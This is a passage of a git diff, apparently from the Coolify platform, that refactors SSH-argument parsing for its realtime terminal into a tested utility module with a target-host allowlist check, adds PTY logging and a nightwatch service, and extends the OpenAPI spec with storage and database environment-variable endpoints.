'log' : 'error', 'PTY process exited.', { + userId, + exitCode, + signal, + }); ws.send('pty-exited'); userSession.isActive = false; }); @@ -194,28 +326,18 @@ async function handleCommand(ws, command, userId) { } } -function extractTargetHost(sshArgs) { - // Find the argument that matches the pattern user@host - const userAtHost = sshArgs.find(arg => { - // Skip paths that contain 'storage/app/ssh/keys/' - if (arg.includes('storage/app/ssh/keys/')) { - return false; - } - return /^[^@]+@[^@]+$/.test(arg); - }); - if (!userAtHost) return null; - - // Extract host from user@host - const host = userAtHost.split('@')[1]; - return host; -} - async function handleError(err, userId) { - console.error('WebSocket error:', err); + logTerminal('error', 'WebSocket error.', { + userId, + error: err?.message ?? err, + }); await killPtyProcess(userId); } async function handleClose(userId) { + logTerminal('log', 'Cleaning up terminal websocket session.', { + userId, + }); await killPtyProcess(userId); userSessions.delete(userId); } @@ -231,6 +353,11 @@ async function killPtyProcess(userId) { const attemptKill = () => { killAttempts++; + logTerminal('log', 'Attempting to terminate PTY process.', { + userId, + killAttempts, + maxAttempts, + }); // session.ptyProcess.kill() wont work here because of https://github.com/moby/moby/issues/9098 // patch with https://github.com/moby/moby/issues/9098#issuecomment-189743947 @@ -238,6 +365,10 @@ async function killPtyProcess(userId) { setTimeout(() => { if (!session.isActive || !session.ptyProcess) { + logTerminal('log', 'PTY process terminated successfully.', { + userId, + killAttempts, + }); resolve(true); return; } @@ -245,6 +376,10 @@ async function killPtyProcess(userId) { if (killAttempts < maxAttempts) { attemptKill(); } else { + logTerminal('warn', 'PTY process still active after maximum termination attempts.', { + userId, + killAttempts, + }); resolve(false); } }, 500); @@ -258,76 +393,8 @@ function generateUserId() { return Math.random().toString(36).substring(2, 11); } -function extractTimeout(commandString) { - const timeoutMatch = commandString.match(/timeout (\d+)/); - return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; -} - -function extractSshArgs(commandString) { - const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/); - if (!sshCommandMatch) return []; - - const argsString = sshCommandMatch[1]; - let sshArgs = []; - - // Parse shell arguments respecting quotes - let current = ''; - let inQuotes = false; - let quoteChar = ''; - let i = 0; - - while (i < argsString.length) { - const char = argsString[i]; - const nextChar = argsString[i + 1]; - - if (!inQuotes && (char === '"' || char === "'")) { - // Starting a quoted section - inQuotes = true; - quoteChar = char; - current += char; - } else if (inQuotes && char === quoteChar) { - // Ending a quoted section - inQuotes = false; - current += char; - quoteChar = ''; - } else if (!inQuotes && char === ' ') { - // Space outside quotes - end of argument - if (current.trim()) { - sshArgs.push(current.trim()); - current = ''; - } - } else { - // Regular character - current += char; - } - i++; - } - - // Add final argument if exists - if (current.trim()) { - sshArgs.push(current.trim()); - } - - // Replace RequestTTY=no with RequestTTY=yes - sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg); - - // Add RequestTTY=yes if not present - if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) { - sshArgs.push('-o', 'RequestTTY=yes'); - } - - return sshArgs; -} - -function extractHereDocContent(commandString) { - const delimiterMatch = commandString.match(/<< (\S+)/); - const delimiter = delimiterMatch ? delimiterMatch[1] : null; - const escapedDelimiter = delimiter.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&'); - const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`); - const hereDocMatch = commandString.match(hereDocRegex); - return hereDocMatch ? hereDocMatch[1] : ''; -} - server.listen(6002, () => { - console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!'); + logTerminal('log', 'Terminal debug logging is enabled.', { + terminalDebugEnabled, + }); }); diff --git a/docker/coolify-realtime/terminal-utils.js b/docker/coolify-realtime/terminal-utils.js new file mode 100644 index 000000000..7456b282c --- /dev/null +++ b/docker/coolify-realtime/terminal-utils.js @@ -0,0 +1,127 @@ +export function extractTimeout(commandString) { + const timeoutMatch = commandString.match(/timeout (\d+)/); + return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; +} + +function normalizeShellArgument(argument) { + if (!argument) { + return argument; + } + + return argument + .replace(/'([^']*)'/g, '$1') + .replace(/"([^"]*)"/g, '$1'); +} + +export function extractSshArgs(commandString) { + const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/); + if (!sshCommandMatch) return []; + + const argsString = sshCommandMatch[1]; + let sshArgs = []; + + let current = ''; + let inQuotes = false; + let quoteChar = ''; + let i = 0; + + while (i < argsString.length) { + const char = argsString[i]; + + if (!inQuotes && (char === '"' || char === "'")) { + inQuotes = true; + quoteChar = char; + current += char; + } else if (inQuotes && char === quoteChar) { + inQuotes = false; + current += char; + quoteChar = ''; + } else if (!inQuotes && char === ' ') { + if (current.trim()) { + sshArgs.push(current.trim()); + current = ''; + } + } else { + current += char; + } + i++; + } + + if (current.trim()) { + sshArgs.push(current.trim()); + } + + sshArgs = sshArgs.map((arg) => normalizeShellArgument(arg)); + sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg); + + if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) { + sshArgs.push('-o', 'RequestTTY=yes'); + } + + return sshArgs; +} + +export function extractHereDocContent(commandString) { + const delimiterMatch = commandString.match(/<< (\S+)/); + const delimiter = delimiterMatch ? delimiterMatch[1] : null; + const escapedDelimiter = delimiter?.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&'); + + if (!escapedDelimiter) { + return ''; + } + + const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`); + const hereDocMatch = commandString.match(hereDocRegex); + return hereDocMatch ? hereDocMatch[1] : ''; +} + +export function normalizeHostForAuthorization(host) { + if (!host) { + return null; + } + + let normalizedHost = host.trim(); + + while ( + normalizedHost.length >= 2 && + ((normalizedHost.startsWith("'") && normalizedHost.endsWith("'")) || + (normalizedHost.startsWith('"') && normalizedHost.endsWith('"'))) + ) { + normalizedHost = normalizedHost.slice(1, -1).trim(); + } + + if (normalizedHost.startsWith('[') && normalizedHost.endsWith(']')) { + normalizedHost = normalizedHost.slice(1, -1); + } + + return normalizedHost.toLowerCase(); +} + +export function extractTargetHost(sshArgs) { + const userAtHost = sshArgs.find(arg => { + if (arg.includes('storage/app/ssh/keys/')) { + return false; + } + + return /^[^@]+@[^@]+$/.test(arg); + }); + + if (!userAtHost) { + return null; + } + + const atIndex = userAtHost.indexOf('@'); + return normalizeHostForAuthorization(userAtHost.slice(atIndex + 1)); +} + +export function isAuthorizedTargetHost(targetHost, authorizedHosts = []) { + const normalizedTargetHost = normalizeHostForAuthorization(targetHost); + + if (!normalizedTargetHost) { + return false; + } + + return authorizedHosts + .map(host => normalizeHostForAuthorization(host)) + .includes(normalizedTargetHost); +} diff --git a/docker/coolify-realtime/terminal-utils.test.js b/docker/coolify-realtime/terminal-utils.test.js new file mode 100644 index 000000000..3da444155 --- /dev/null +++ b/docker/coolify-realtime/terminal-utils.test.js @@ -0,0 +1,47 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { + extractSshArgs, + extractTargetHost, + isAuthorizedTargetHost, + normalizeHostForAuthorization, +} from './terminal-utils.js'; + +test('extractTargetHost normalizes quoted IPv4 hosts from generated ssh commands', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o ServerAliveInterval=20 -o ConnectTimeout=10 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.equal(extractTargetHost(sshArgs), '10.0.0.5'); +}); + +test('extractSshArgs strips shell quotes from port and user host arguments before spawning ssh', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -p '22' -o StrictHostKeyChecking=no 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.deepEqual(sshArgs.slice(0, 5), ['-p', '22', '-o', 'StrictHostKeyChecking=no', 'root@10.0.0.5']); +}); + +test('extractSshArgs preserves proxy command as a single normalized ssh option value', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -o ProxyCommand='cloudflared access ssh --hostname %h' -o StrictHostKeyChecking=no 'root'@'example.com' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.equal(sshArgs[1], 'ProxyCommand=cloudflared access ssh --hostname %h'); + assert.equal(sshArgs[4], 'root@example.com'); +}); + +test('isAuthorizedTargetHost matches normalized hosts against plain allowlist values', () => { + assert.equal(isAuthorizedTargetHost("'10.0.0.5'", ['10.0.0.5']), true); + assert.equal(isAuthorizedTargetHost('"host.docker.internal"', ['host.docker.internal']), true); +}); + +test('normalizeHostForAuthorization unwraps bracketed IPv6 hosts', () => { + assert.equal(normalizeHostForAuthorization("'[2001:db8::10]'"), '2001:db8::10'); + assert.equal(isAuthorizedTargetHost("'[2001:db8::10]'", ['2001:db8::10']), true); +}); + +test('isAuthorizedTargetHost rejects hosts that are not in the allowlist', () => { + assert.equal(isAuthorizedTargetHost("'10.0.0.9'", ['10.0.0.5']), false); +}); diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-setup @@ -0,0 +1 @@ + diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run new file mode 100644 index 000000000..1166ccd08 --- /dev/null +++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -0,0 +1,12 @@ +#!/command/execlineb -P + +# Use with-contenv to ensure environment variables are available +with-contenv +cd /var/www/html + +foreground { + php + artisan + start:nightwatch +} + diff --git a/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type new file mode 100644 index 000000000..5883cff0c --- /dev/null +++ b/docker/development/etc/s6-overlay/s6-rc.d/nightwatch-agent/type @@ -0,0 +1 @@ +longrun diff --git a/docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent b/docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/docker/development/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent @@ -0,0 +1 @@ + diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/dependencies.d/init-script @@ -0,0 +1 @@ + diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run new file mode 100644 index 000000000..80d73eadb --- /dev/null +++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/run @@ -0,0 +1,11 @@ +#!/command/execlineb -P + +# Use with-contenv to ensure environment variables are available +with-contenv +cd /var/www/html +foreground { + php + artisan + start:nightwatch +} + diff --git a/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type new file mode 100644 index 000000000..5883cff0c --- /dev/null +++ b/docker/production/etc/s6-overlay/s6-rc.d/nightwatch-agent/type @@ -0,0 +1 @@ +longrun diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent b/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/nightwatch-agent @@ -0,0 +1 @@ + diff --git a/jean.json b/jean.json index 402bcd02d..5cd8362d9 100644 --- a/jean.json +++ b/jean.json @@ -1,6 +1,13 @@ { "scripts": { "setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json", + "teardown": null, "run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down" - } -} \ No newline at end of file + }, + "ports": [ + { + "port": 8000, + "label": "Coolify UI" + } + ] +} diff --git a/openapi.json b/openapi.json index d3bf08e30..aec5a2843 100644 --- a/openapi.json +++ b/openapi.json @@ -3339,6 +3339,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -3433,6 +3442,333 @@ ] } }, + "\/applications\/{uuid}\/storages": { + "get": { + "tags": [ + "Applications" + ], + "summary": "List Storages", + "description": "List all persistent storages and file storages by application UUID.", + "operationId": "list-storages-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "All storages by application UUID.", + "content": { + "application\/json": { + "schema": { + "properties": { + "persistent_storages": { + "type": "array", + "items": { + "type": "object" + } + }, + "file_storages": { + "type": "array", + "items": { + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Applications" + ], + "summary": "Create Storage", + "description": "Create a persistent storage or file storage for an application.", + "operationId": "create-storage-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "type", + "mount_path" + ], + "properties": { + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage." + }, + "name": { + "type": "string", + "description": "Volume name (persistent only, required for persistent)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, optional)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "File content (file only, optional)." + }, + "is_directory": { + "type": "boolean", + "description": "Whether this is a directory mount (file only, default false)." + }, + "fs_path": { + "type": "string", + "description": "Host directory path (required when is_directory is true)." + } + }, + "type": "object", + "additionalProperties": false + } + } + } + }, + "responses": { + "201": { + "description": "Storage created.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Applications" + ], + "summary": "Update Storage", + "description": "Update a persistent storage or file storage by application UUID.", + "operationId": "update-storage-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "type" + ], + "properties": { + "uuid": { + "type": "string", + "description": "The UUID of the storage (preferred)." + }, + "id": { + "type": "integer", + "description": "The ID of the storage (deprecated, use uuid instead)." + }, + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage: persistent or file." + }, + "is_preview_suffix_enabled": { + "type": "boolean", + "description": "Whether to add -pr-N suffix for preview deployments." + }, + "name": { + "type": "string", + "description": "The volume name (persistent only, not allowed for read-only storages)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path (not allowed for read-only storages)." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, not allowed for read-only storages)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "The file content (file only, not allowed for read-only storages)." + } + }, + "type": "object", + "additionalProperties": false + } + } + } + }, + "responses": { + "200": { + "description": "Storage updated.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/storages\/{storage_uuid}": { + "delete": { + "tags": [ + "Applications" + ], + "summary": "Delete Storage", + "description": "Delete a persistent storage or file storage by application UUID.", + "operationId": "delete-storage-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "storage_uuid", + "in": "path", + "description": "UUID of the storage.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Storage deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ @@ -5864,6 +6200,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -5953,6 +6298,714 @@ ] } }, + "\/databases\/{uuid}\/envs": { + "get": { + "tags": [ + "Databases" + ], + "summary": "List Envs", + "description": "List all envs by database UUID.", + "operationId": "list-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variables.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Databases" + ], + "summary": "Create Env", + "description": "Create env by database UUID.", + "operationId": "create-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env created.", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable created.", + "content": { + "application\/json": { + "schema": { + "properties": { + "uuid": { + "type": "string", + "example": "nc0k04gk8g0cgsk440g0koko" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Env", + "description": "Update env by database UUID.", + "operationId": "update-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "key", + "value" + ], + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/bulk": { + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Envs (Bulk)", + "description": "Update multiple envs by database UUID.", + "operationId": "update-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Bulk envs updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "data" + ], + "properties": { + "data": { + "type": "array", + "items": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variables updated.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/{env_uuid}": { + "delete": { + "tags": [ + "Databases" + ], + "summary": "Delete Env", + "description": "Delete env by UUID.", + "operationId": "delete-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "env_uuid", + "in": "path", + "description": "UUID of the environment variable.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variable deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Environment variable deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/storages": { + "get": { + "tags": [ + "Databases" + ], + "summary": "List Storages", + "description": "List all persistent storages and file storages by database UUID.", + "operationId": "list-storages-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "All storages by database UUID.", + "content": { + "application\/json": { + "schema": { + "properties": { + "persistent_storages": { + "type": "array", + "items": { + "type": "object" + } + }, + "file_storages": { + "type": "array", + "items": { + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Databases" + ], + "summary": "Create Storage", + "description": "Create a persistent storage or file storage for a database.", + "operationId": "create-storage-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "type", + "mount_path" + ], + "properties": { + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage." + }, + "name": { + "type": "string", + "description": "Volume name (persistent only, required for persistent)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, optional)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "File content (file only, optional)." + }, + "is_directory": { + "type": "boolean", + "description": "Whether this is a directory mount (file only, default false)." + }, + "fs_path": { + "type": "string", + "description": "Host directory path (required when is_directory is true)." + } + }, + "type": "object", + "additionalProperties": false + } + } + } + }, + "responses": { + "201": { + "description": "Storage created.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Storage", + "description": "Update a persistent storage or file storage by database UUID.", + "operationId": "update-storage-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "type" + ], + "properties": { + "uuid": { + "type": "string", + "description": "The UUID of the storage (preferred)." + }, + "id": { + "type": "integer", + "description": "The ID of the storage (deprecated, use uuid instead)." + }, + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage: persistent or file." + }, + "is_preview_suffix_enabled": { + "type": "boolean", + "description": "Whether to add -pr-N suffix for preview deployments." + }, + "name": { + "type": "string", + "description": "The volume name (persistent only, not allowed for read-only storages)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path (not allowed for read-only storages)." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, not allowed for read-only storages)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "The file content (file only, not allowed for read-only storages)." + } + }, + "type": "object", + "additionalProperties": false + } + } + } + }, + "responses": { + "200": { + "description": "Storage updated.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/storages\/{storage_uuid}": { + "delete": { + "tags": [ + "Databases" + ], + "summary": "Delete Storage", + "description": "Delete a persistent storage or file storage by database UUID.", + "operationId": "delete-storage-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "storage_uuid", + "in": "path", + "description": "UUID of the storage.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Storage deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/deployments": { "get": { "tags": [ @@ -9667,6 +10720,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" @@ -9993,6 +11051,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" @@ -10561,6 +11624,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -10659,6 +11731,338 @@ ] } }, + "\/services\/{uuid}\/storages": { + "get": { + "tags": [ + "Services" + ], + "summary": "List Storages", + "description": "List all persistent storages and file storages by service UUID.", + "operationId": "list-storages-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "All storages by service UUID.", + "content": { + "application\/json": { + "schema": { + "properties": { + "persistent_storages": { + "type": "array", + "items": { + "type": "object" + } + }, + "file_storages": { 